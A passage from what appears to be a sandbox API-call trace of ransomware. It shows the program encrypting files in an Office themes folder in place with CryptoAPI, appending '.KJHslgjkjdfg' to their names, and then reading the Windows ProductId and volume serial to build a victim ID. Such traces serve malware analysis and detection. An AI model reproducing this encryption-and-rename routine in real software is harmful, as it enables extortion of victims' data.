dwBufLen=0xba50 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xba50) returned 1 [0171.910] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.910] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xba50, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0xba50, lpOverlapped=0x0) returned 1 [0171.911] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.911] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xbb24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.911] SetEndOfFile (hFile=0x12c) returned 1 [0171.914] GetProcessHeap () returned 0x990000 [0171.914] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0171.914] GetProcessHeap () returned 0x990000 [0171.914] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0171.914] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.elm.kjhslgjkjdfg")) returned 1 [0171.915] CloseHandle (hObject=0x12c) returned 1 [0171.915] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x262, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CASCADE.INF", cAlternateFileName="")) returned 1 [0171.915] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0171.915] GetProcessHeap () returned 0x990000 [0171.915] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0171.915] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0171.915] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0171.916] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xe, lpOverlapped=0x0) returned 1 [0171.917] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.917] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.917] GetProcessHeap () returned 0x990000 [0171.917] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0171.917] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0171.917] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.917] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0171.917] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0171.917] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0171.918] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0171.918] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0171.918] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0171.918] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.918] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.918] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.918] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x262, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x262, lpOverlapped=0x0) returned 1 [0171.918] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x270, dwBufLen=0x270 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x270) returned 1 [0171.918] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.918] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x270, lpOverlapped=0x0) returned 1 [0171.918] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.918] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x344, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.918] SetEndOfFile (hFile=0x12c) returned 1 [0171.921] GetProcessHeap () returned 0x990000 [0171.921] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0171.921] GetProcessHeap () returned 0x990000 [0171.921] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0171.921] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.inf.kjhslgjkjdfg")) returned 1 [0171.928] CloseHandle (hObject=0x12c) returned 1 [0171.928] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x553, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0171.928] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0171.928] GetProcessHeap () returned 0x990000 [0171.928] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0171.928] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0171.929] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0171.929] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xd, lpOverlapped=0x0) returned 1 [0171.931] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.931] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.931] GetProcessHeap () returned 0x990000 [0171.931] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0171.931] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0171.931] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.931] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0171.931] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0171.931] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0171.931] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0171.931] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0171.931] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0171.932] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.932] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.932] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.932] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x553, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x553, lpOverlapped=0x0) returned 1 [0171.932] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x560, dwBufLen=0x560 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x560) returned 1 [0171.932] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.932] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x560, lpOverlapped=0x0) returned 1 [0171.932] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.932] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x634, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.932] SetEndOfFile (hFile=0x12c) returned 1 [0171.934] GetProcessHeap () returned 0x990000 [0171.934] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0171.934] GetProcessHeap () returned 0x990000 [0171.934] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0171.934] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif.kjhslgjkjdfg")) returned 1 [0171.940] CloseHandle (hObject=0x12c) returned 1 [0171.940] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4f93, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0171.940] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0171.940] GetProcessHeap () returned 0x990000 [0171.941] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0171.941] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0171.941] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0171.941] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xd, lpOverlapped=0x0) returned 1 [0171.943] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.943] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.943] GetProcessHeap () returned 0x990000 [0171.943] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0171.943] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0171.943] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.943] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0171.943] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0171.943] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0171.944] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0171.944] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0171.944] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0171.944] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.944] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.944] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.944] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4f93, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x4f93, lpOverlapped=0x0) returned 1 [0171.945] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x4fa0, dwBufLen=0x4fa0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x4fa0) returned 1 [0171.945] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.945] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4fa0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x4fa0, lpOverlapped=0x0) returned 1 [0171.946] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.946] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x5074, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.946] SetEndOfFile (hFile=0x12c) returned 1 [0171.949] GetProcessHeap () returned 0x990000 [0171.949] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0171.949] GetProcessHeap () returned 0x990000 [0171.949] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0171.949] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0171.952] CloseHandle (hObject=0x12c) returned 1 [0171.952] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4f93, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0171.952] GetProcessHeap () returned 0x990000 [0171.952] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0171.952] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.952] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29dee20 | out: pbData=0x9af7b0, pdwDataLen=0x29dee20) returned 1 [0171.952] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.952] GetProcessHeap () returned 0x990000 [0171.952] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0171.953] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.953] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29dee20 | out: pbData=0x9af7f8, pdwDataLen=0x29dee20) returned 1 [0171.953] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.953] GetProcessHeap () returned 0x990000 [0171.953] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9f99f0 [0171.953] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.953] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9f99f0, pdwDataLen=0x29dee20 | out: pbData=0x9f99f0, pdwDataLen=0x29dee20) returned 1 [0171.953] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.953] GetProcessHeap () returned 0x990000 [0171.953] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0171.953] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.953] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dea00 | out: pbData=0x9af840, pdwDataLen=0x29dea00) returned 1 [0171.953] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.953] GetProcessHeap () returned 0x990000 [0171.953] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0171.953] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.954] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea00 | out: pbData=0x9b18c8, pdwDataLen=0x29dea00) returned 1 [0171.954] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.954] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de9fc | out: phkResult=0x29de9fc*=0x12c) returned 0x0 [0171.954] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dea08, lpcbData=0x29dea04*=0x400 | out: lpType=0x0, lpData=0x29dea08*=0x30, lpcbData=0x29dea04*=0x18) returned 0x0 [0171.954] RegCloseKey (hKey=0x12c) returned 0x0 [0171.954] GetProcessHeap () returned 0x990000 [0171.954] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0171.954] GetProcessHeap () returned 0x990000 [0171.954] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0171.954] GetProcessHeap () returned 0x990000 [0171.954] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0171.954] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.954] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de7d4 | out: pbData=0x9b18c8, pdwDataLen=0x29de7d4) returned 1 [0171.954] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.954] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0171.955] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0171.955] GetProcessHeap () returned 0x990000 [0171.955] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0171.955] wsprintfA (in: param_1=0x29dea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0171.955] wsprintfA (in: param_1=0x29dee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0171.955] GetProcessHeap () returned 0x990000 [0171.955] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0171.955] wsprintfW (in: param_1=0x29dddfc, 